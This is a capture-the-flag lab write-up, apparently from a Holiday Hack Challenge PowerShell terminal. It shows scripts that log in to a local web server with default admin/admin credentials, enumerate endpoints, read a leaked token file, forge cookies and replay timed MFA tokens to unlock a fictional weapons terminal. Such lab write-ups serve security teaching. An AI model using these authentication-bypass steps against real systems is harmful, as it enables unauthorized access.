PowerShell⚓︎
Difficulty:
Objective⚓︎
Team Wombley is developing snow weapons in preparation for conflict, but they've been locked out by their own defenses. Help Piney with regaining access to the weapon operations terminal.
Silver⚓︎
1: Read welcome.txt⚓︎
type ./welcome.txt
Output
System Overview The Elf Weaponry Multi-Factor Authentication (MFA) system safeguards access to a classified armory containing elf weapons. This high-security system is equipped with advanced defense mechanisms, including canaries, retinal scanner and keystroke analyzing, to prevent unauthorized access. In the event of suspicious activity, the system automatically initiates a lockdown, restricting all access until manual override by authorized personnel.
Lockdown Protocols When the system enters lockdown mode, all access to the armory is frozen. This includes both entry to and interaction with the weaponry storage. The defense mechanisms become active, deploying logical barriers to prohibit unauthorized access. During this state, users cannot disable the system without the intervention of an authorized administrator. The system logs all access attempts and alerts central command when lockdown is triggered.
Access and System Restoration To restore access to the system, users must follow strict procedures. First, authorized personnel must identify the scrambled endpoint. Next, they must deactivate the defense mechanisms by entering the override code and presenting the required token. After verification, the system will resume standard operation, and access to weaponry is reactivated.
2: Count the words:⚓︎
(Get-Content "welcome.txt" -Raw) -split '\s+' | Measure-Object -Word
Lines Words Characters Property
----- ----- ---------- --------
180
3: There is a server listening for incoming connections on this machine, that must be the weapons terminal. What port is it listening on?⚓︎
netstat -ant
Output
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:1225 0.0.0.0:* LISTEN
tcp6 0 0 172.17.0.9:37044 52.179.73.38:443 ESTABLISHED
4: You should enumerate that webserver. Communicate with the server using HTTP, what status code do you get?⚓︎
iwr http://127.0.0.1:1225
Output
Invoke-WebRequest: Response status code does not indicate success: 401 (UNAUTHORIZED).
5: It looks like defensive measures are in place, it is protected by basic authentication.⚓︎
Try authenticating with a standard admin username and password.
Output
Invoke-WebRequest -Uri http://127.0.0.1:1225 -Credential (Get-Credential) -AllowUnencryptedAuthentication
6: There are too many endpoints here.⚓︎
Use a loop to download the contents of each page. What page has 138 words? When you find it, communicate with the URL and print the contents to the terminal.
# Base URL
$baseUrl = "http://127.0.0.1:1225/endpoints"
# Authentication credentials
$cred = New-Object System.Management.Automation.PSCredential (
"admin", (ConvertTo-SecureString "admin" -AsPlainText -Force)
)
# Loop through pages incrementally
$found = $false
$pageNumber = 1
while (-not $found) {
$endpoint = "$baseUrl/$pageNumber"
try {
# Fetch page content
$response = Invoke-WebRequest -Uri $endpoint -Credential $cred -AllowUnencryptedAuthentication -TimeoutSec 10
$content = $response.Content
# Count words on the page
$wordCount = ($content -split '\s+').Count
# Check if the page has exactly 138 words
if ($wordCount -eq 138) {
Write-Host "Page with 138 words found at: $endpoint"
Write-Host "Contents of the page:"
Write-Host $content
$found = $true # Stop the loop
} else {
Write-Host "Page $pageNumber at $endpoint has $wordCount words."
}
} catch {
Write-Host "Failed to fetch or process ${endpoint}: $_"
}
# Increment page number for the next iteration
$pageNumber++
}
Partial Output
Page 5 at http://127.0.0.1:1225/endpoints/5 has 162 words.
Page 6 at http://127.0.0.1:1225/endpoints/6 has 147 words.
Page 7 at http://127.0.0.1:1225/endpoints/7 has 165 words.
Page 8 at http://127.0.0.1:1225/endpoints/8 has 159 words.
Page 9 at http://127.0.0.1:1225/endpoints/9 has 159 words.
Page 10 at http://127.0.0.1:1225/endpoints/10 has 142 words.
Page 11 at http://127.0.0.1:1225/endpoints/11 has 150 words.
Page 12 at http://127.0.0.1:1225/endpoints/12 has 123 words.
Page with 138 words found at: http://127.0.0.1:1225/endpoints/13
Contents of the page:
<html><head><title>MFA token scrambler</title></head><body><p>Yuletide cheer fills the air,<br> A season of love, of care.<br> The world is bright, full of light,<br> As we celebrate this special night.<br> The tree is trimmed, the stockings hung,<br> Carols are sung, bells are rung.<br> Families gather, friends unite,<br> In the glow of the fire’s light.<br> The air is filled with joy and peace,<br> As worries and cares find release.<br> Yuletide cheer, a gift so dear,<br> Brings warmth and love to all near.<br> May we carry it in our hearts,<br> As the season ends, as it starts.<br> Yuletide cheer, a time to share,<br> The love, the joy, the care.<br> May it guide us through the year,<br> In every laugh, in every tear.<br> Yuletide cheer, a beacon bright,<br> Guides us through the winter night </p><p> Note to self, remember to remove temp csvfile at http://127.0.0.1:1225/token_overview.csv</p></body></html>
7: There seems to be a csv file in the comments of that page.⚓︎
That could be valuable, read the contents of that csv-file!
# Define credentials
$cred = New-Object System.Management.Automation.PSCredential (
"admin", (ConvertTo-SecureString "admin" -AsPlainText -Force)
)
# Download the CSV file with authentication
Invoke-WebRequest -Uri http://127.0.0.1:1225/token_overview.csv -Credential $cred -AllowUnencryptedAuthentication -OutFile ./token_overview.csv
# Read the contents of the CSV file
type ./token_overview.csv
Output
04886164e5140175bafe599b7f1cacc8,REDACTED
664f52463ef97bcd1729d6de1028e41e,REDACTED
3e03cd0f3d335c6fb50122553f63ef78,REDACTED
f2aeb18f5b3f08420eed9b548b6058c3,REDACTED
32b9401a6d972f8c1a98de145629ea9d,REDACTED
3a79238df0a92ab0afa44a85f914fc3b,REDACTED
49c2a68b21b9982aa9fd64cf0fd79f72,REDACTED
f8142c1304efb9b7e9a7f57363c2d286,REDACTED
706457f6dd78729a8bed5bae1efaeb50,REDACTED
bb0564aa5785045937a35a9fa3fbbc73,REDACTED
4173a7bc22aee35c5fc48261b041d064,REDACTED
198b8bf2cd30a7c7fed464cca1720a88,REDACTED
3a7c8ecffeeadb164c31559f8f24a1e7,REDACTED
288e60e318d9ad7d70d743a614442ffc,REDACTED
87ab4cb29649807fdb716ac85cf560ea,REDACTED
89f3ec1275407c9526a645602d56e799,REDACTED
33539252b40b5c244b09aee8a57adbc9,REDACTED
152899789a191d9e9150a1e3a5513b7f,REDACTED
7cd48566f118a02f300cdfa75dee7863,REDACTED
d798a55fca64118cea2df3c120f67569,REDACTED
6ef5570cd43a3ec9f43c57f662201e55,REDACTED
bf189d47c3175ada98af398669e3cac3,REDACTED
743ac25389a0b430dd9f8e72b2ec9d7f,REDACTED
270aabd5feaaf40185f2effa9fa2cd6e,REDACTED
8b58850ee66bd2ab7dd2f5f850c855f8,REDACTED
6fd00cbda10079b1d55283a88680d075,REDACTED
612001dd92369a7750c763963bc327f0,REDACTED
010f2cc580f74521c86215b7374eead6,REDACTED
29860c67296d808bc6506175a8cbb422,REDACTED
7b7f6891b6b6ab46fe2e85651db8205f,REDACTED
45ffb41c4e458d08a8b08beeec2b4652,REDACTED
d0e6bfb6a4e6531a0c71225f0a3d908d,REDACTED
bd7efda0cb3c6d15dd896755003c635c,REDACTED
5be8911ced448dbb6f0bd5a24cc36935,REDACTED
1acbfea6a2dad66eb074b17459f8c5b6,REDACTED
0f262d0003bd696550744fd43cd5b520,REDACTED
8cac896f624576d825564bb30c7250eb,REDACTED
8ef6d2e12a58d7ec521a56f25e624b80,REDACTED
b4959370a4c484c10a1ecc53b1b56a7d,REDACTED
38bdd7748a70529e9beb04b95c09195d,REDACTED
8d4366f08c013f5c0c587b8508b48b15,REDACTED
67566692ca644ddf9c1344415972fba8,REDACTED
8fbf4152f89b7e309e89b9f7080c7230,REDACTED
936f4db24a290032c954073b3913f444,REDACTED
c44d8d6b03dcd4b6bf7cb53db4afdca6,REDACTED
cb722d0b55805cd6feffc22a9f68177d,REDACTED
724d494386f8ef9141da991926b14f9b,REDACTED
67c7aef0d5d3e97ad2488babd2f4c749,REDACTED
5f8dd236f862f4507835b0e418907ffc,4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C
# [*] SYSTEMLOG
# [*] Defence mechanisms activated, REDACTING endpoints, starting with sensitive endpoints
# [-] ERROR, memory corruption, not all endpoints have been REDACTED
# [*] Verification endpoint still active
# [*] http://127.0.0.1:1225/tokens/<sha256sum>
# [*] Contact system administrator to unlock panic mode
# [*] Site functionality at minimum to keep weapons active
8: Luckily the defense mechanisms were faulty!⚓︎
There seems to be one api-endpoint that still isn't redacted! Communicate with that endpoint!
# Define credentials
$cred = New-Object System.Management.Automation.PSCredential (
"admin", (ConvertTo-SecureString "admin" -AsPlainText -Force)
)
# Download the CSV file with authentication
Invoke-WebRequest -Uri http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $cred -AllowUnencryptedAuthentication
Output
StatusCode : 200
StatusDescription : OK
Content : <h1>[!] ERROR: Missing Cookie 'token'</h1>
RawContent : HTTP/1.1 200 OK
Server: Werkzeug/3.0.6
Server: Python/3.10.12
Date: Wed, 27 Nov 2024 17:36:53 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 42
<h1>[!] ERROR: Missing Co…
Headers : {[Server, System.String[]], [Date, System.String[]], [Connection, Syst
em.String[]], [Content-Type, System.String[]]…}
Images : {}
InputFields : {}
Links : {}
RawContentLength : 42
RelationLink : {}
9: It looks like it requires a cookie token, set the cookie and try again.⚓︎
# Define credentials
$cred = New-Object System.Management.Automation.PSCredential (
"admin", (ConvertTo-SecureString "admin" -AsPlainText -Force)
)
# Define the endpoint and cookie token
$endpoint = "http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C"
$cookieToken = "5f8dd236f862f4507835b0e418907ffc"
# Set the cookie in the headers
$headers = @{
Cookie = "token=$cookieToken"
}
# Communicate with the endpoint
$response = Invoke-WebRequest -Uri $endpoint -Headers $headers -Credential $cred -AllowUnencryptedAuthentication
# Output the response content
Write-Host "Response Content:"
Write-Host $response.Content
Output
<h1>Cookie 'mfa_code', use it at <a href='1732729216.8344238'>/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C</a></h1>
10: Sweet we got a MFA token! We might be able to get access to the system. Validate that token at the endpoint!⚓︎
# Define credentials
$cred = New-Object System.Management.Automation.PSCredential (
"admin", (ConvertTo-SecureString "admin" -AsPlainText -Force)
)
# Define the base URL and validation endpoint
$baseUrl = "http://127.0.0.1:1225"
$validationEndpoint = "$baseUrl/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C"
# Components
$mfaCode = "1732731564.818771"
$cookieToken = "5f8dd236f862f4507835b0e418907ffc"
# Generate hash using SHA256
$combinedInput = "$mfaCode:$cookieToken"
$hashedToken = [System.BitConverter]::ToString(
[System.Security.Cryptography.SHA256]::Create().ComputeHash(
[System.Text.Encoding]::UTF8.GetBytes($combinedInput)
)
).Replace("-", "").ToLower()
# Combine full MFA token
$mfaToken1 = "$mfaCode;$cookieToken;$hashedToken"
$mfaToken2 = "$hashedToken" # If only the hash is required
# Test both tokens
$testTokens = @($mfaToken1, $mfaToken2)
foreach ($testToken in $testTokens) {
Write-Host "Testing mfa_token: ${testToken}"
# Set cookies
$headers = @{
Cookie = "mfa_code=$mfaCode; token=$cookieToken; mfa_token=$testToken"
}
try {
# Communicate with the validation endpoint
$response = Invoke-WebRequest -Uri $validationEndpoint -Headers $headers -Credential $cred -AllowUnencryptedAuthentication
Write-Host "Response Content:"
Write-Host $response.Content
} catch {
Write-Host "Failed with token ${testToken}: $_"
}
}
Output
Testing mfa_token: 1732731564.818771;5f8dd236f862f4507835b0e418907ffc;
Response Content:
<h1>[!] System currently in lock down</h1><br><h1>[!] Failure, token has expired. [*] Default timeout set to 2s for security reasons</h1>
Testing mfa_token:
Response Content:
<h1>[!] System currently in lock down</h1><br><h1>[-] ERROR: Missing Cookie 'mfa_token'</h1>
2 seconds indicates that the system is wanting this validated in real-time. We need to have the mfa_code generated and then immediately input all in one fell-swoop.
Let's combine the info from the cookie script that gave us the timestamp (mfa_code) so that it will then use that output to create the hash and feed it back into this last script.
# Step 1: Define credentials
$cred = New-Object System.Management.Automation.PSCredential (
"admin", (ConvertTo-SecureString "admin" -AsPlainText -Force)
)
# Step 2: Define the token endpoint and cookie token
$tokenEndpoint = "http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C"
$cookieToken = "5f8dd236f862f4507835b0e418907ffc"
# Step 3: Fetch the `mfa_code` from the token endpoint
try {
$headers = @{
Cookie = "token=$cookieToken"
}
$response = Invoke-WebRequest -Uri $tokenEndpoint -Headers $headers -Credential $cred -AllowUnencryptedAuthentication
Write-Host "Response Content:"
Write-Host $response.Content
# Extract the mfa_code from the href tag in the response
$mfaCodeMatch = $response.Content -match "href='(\d+\.\d+)'"
if ($mfaCodeMatch) {
$mfaCode = $matches[1]
Write-Host "Extracted mfa_code: $mfaCode"
} else {
Write-Host "Failed to extract mfa_code from the response."
return
}
} catch {
Write-Host "Error fetching mfa_code: $_"
return
}
# Step 4: Generate the hash for the mfa_token
try {
$combinedInput = "${mfaCode}:${cookieToken}"
$hashedToken = [System.BitConverter]::ToString(
[System.Security.Cryptography.SHA256]::Create().ComputeHash(
[System.Text.Encoding]::UTF8.GetBytes($combinedInput)
)
).Replace("-", "").ToLower()
Write-Host "Generated hashedToken: $hashedToken"
} catch {
Write-Host "Error generating hashedToken: $_"
return
}
# Step 5: Construct the full mfa_token
$mfaToken = "$mfaCode;$cookieToken;$hashedToken"
Write-Host "Constructed mfaToken: $mfaToken"
# Step 6: Communicate with the validation endpoint
$validationEndpoint = "http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C"
$headers = @{
Cookie = "mfa_code=$mfaCode;token=$cookieToken;mfa_token=$mfaToken"
}
try {
$response = Invoke-WebRequest -Uri $validationEndpoint -Headers $headers -Credential $cred -AllowUnencryptedAuthentication
Write-Host "Validation Response Content:"
Write-Host $response.Content
} catch {
Write-Host "Error communicating with validation endpoint: $_"
}
Output
Validation Response Content:
<h1>[+] Success</h1><br><p>#### 29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg==</p>
11: That looks like base64! Decode it so we can get the final secret!⚓︎
$base64String = "Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg=="
$decodedString = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64String))
Write-Host $decodedString
Output
Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction
This achieves Silver for us at this point.
Hurray! You have thwarted their defenses!
Alabaster can now access their weaponry and put a stop to it.
Once HHC grants your achievement, you can close this terminal.
Gold Solution⚓︎
Get the Redacted Hashes⚓︎
First we need to create the redacted hashes with the MD5 values so that we can use the Get-Filehash -Algorithm SHA256
command that was referenced in the hint and then string together each of the elements that got us to the Silver medal. Because this is a lengthier script though, we'll want to add some means for error handling as well as session management since we will have multiple cookies.
# Hard code credentials to avoid prompts.
$username = 'admin' # Don't actually do this IRL
$password = 'admin' # This is just plain dumb to do from a security perspective
$pass = ConvertTo-SecureString -AsPlainText $password -Force
$c = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $username, $pass
# Get the CSV into an object and compute the redacted SHA256 hashes.
$response = Invoke-WebRequest -Uri http://localhost:1225/token_overview.csv -Authentication Basic -Credential $c -AllowUnencryptedAuthentication
if ($response.StatusCode -ne 200) {
Write-Error "Failed to download token_overview.csv. HTTP Status Code: $($response.StatusCode)"
exit
}
$response.Content | Out-File token_overview.csv
$csv = (Get-Content -Path ./token_overview.csv | Select-String -Pattern "^#" -NotMatch)
if ($csv.Count -lt 2) {
Write-Error "CSV appears to be empty or improperly formatted."
exit
}
$csv = $csv[1..($csv.Count - 1)] # Remove the original header line.
# Convert csv to a CSV object and add headers: from $csv.fileMD5hash $csv.Sha256(file_MD5hash) to $csv.md5 $csv.sha256 and include error handling with try-catch block
$csv = $csv | ConvertFrom-Csv -Header 'md5', 'sha256'
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$tokenCookies = New-Object System.Net.Cookie
foreach ($token in $csv) {
Write-Host "Processing token with MD5: $($token.md5)"
$token.md5 | Set-Content -Path $token.md5
$token.sha256 = (Get-Item $token.md5 | Get-FileHash -Algorithm SHA256).Hash
Remove-Item -Path $token.md5
Write-Host "Computed SHA256: $($token.sha256)"
$tokenCookies.Domain = "localhost"
$tokenCookies.Name = "token"
$tokenCookies.Value = $token.md5
$session.Cookies.Add($tokenCookies)
$tokenCookies.Name = "mfa_token"
$tokenCookies.Value = ""
$session.Cookies.Add($tokenCookies)
$url = 'http://localhost:1225/tokens/' + $token.sha256
Write-Host "URL for MFA retrieval: $url"
try {
$response = Invoke-WebRequest -Uri $url -Authentication Basic -Credential $c -AllowUnencryptedAuthentication -WebSession $session
$mfa_code = $response.Links.href
Write-Host "Got MFA code: $mfa_code from token at $url"
} catch {
Write-Error "Failed to retrieve MFA code from $url. Error: $_"
continue
}
$allCookies = $session.Cookies.GetAllCookies()
foreach ($cookieItem in $allCookies) {
Write-Host "Session cookies: Name=$($cookieItem.Name), Value=$($cookieItem.Value)"
}
$tokenCookies.Domain = "localhost"
$tokenCookies.Name = "mfa_token"
$tokenCookies.Value = $mfa_code
$session.Cookies.Add($tokenCookies)
$url = 'http://localhost:1225/mfa_validate/' + $token.sha256
Write-Host "Validating MFA token at: $url"
try {
$validationResponse = Invoke-WebRequest -Uri $url -Authentication Basic -Credential $c -AllowUnencryptedAuthentication -WebSession $session
Write-Host "Validation response: $($validationResponse.Content)"
} catch {
Write-Error "Failed to validate MFA token. Error: $_"
}
$allCookies = $session.Cookies.GetAllCookies()
foreach ($cookieItem in $allCookies) {
Write-Host "Session cookies: Name=$($cookieItem.Name), Value=$($cookieItem.Value)"
}
Write-Host "`n"
}